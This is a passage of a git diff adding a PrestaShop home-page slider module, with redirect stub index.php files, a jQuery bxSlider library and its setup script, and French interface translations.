b/devspehomeblocks/images/sample-3.jpg new file mode 100755 index 0000000..c949588 Binary files /dev/null and b/devspehomeblocks/images/sample-3.jpg differ diff --git a/devspehomeblocks/images/sample-4.jpg b/devspehomeblocks/images/sample-4.jpg new file mode 100755 index 0000000..b7da0dd Binary files /dev/null and b/devspehomeblocks/images/sample-4.jpg differ diff --git a/devspehomeblocks/images/sample-5.jpg b/devspehomeblocks/images/sample-5.jpg new file mode 100755 index 0000000..26cb2a2 Binary files /dev/null and b/devspehomeblocks/images/sample-5.jpg differ diff --git a/devspehomeblocks/index.php b/devspehomeblocks/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/devspehomeblocks/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/devspehomeblocks/js/homeslider.js b/devspehomeblocks/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/devspehomeblocks/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/devspehomeblocks/js/index.php b/devspehomeblocks/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/devspehomeblocks/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/devspehomeblocks/js/jquery.bxSlider.min.js b/devspehomeblocks/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/devspehomeblocks/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
').wrap('
').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
').wrap('
').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
').wrap('
');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/devspehomeblocks/logo.gif b/devspehomeblocks/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/devspehomeblocks/logo.gif differ diff --git a/devspehomeblocks/logo.png b/devspehomeblocks/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/devspehomeblocks/logo.png differ diff --git a/devspehomeblocks/translations/fr.php b/devspehomeblocks/translations/fr.php new file mode 100755 index 0000000..f532fe8 --- /dev/null +++ b/devspehomeblocks/translations/fr.php @@ -0,0 +1,58 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/devspehomeblocks/translations/index.php b/devspehomeblocks/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null 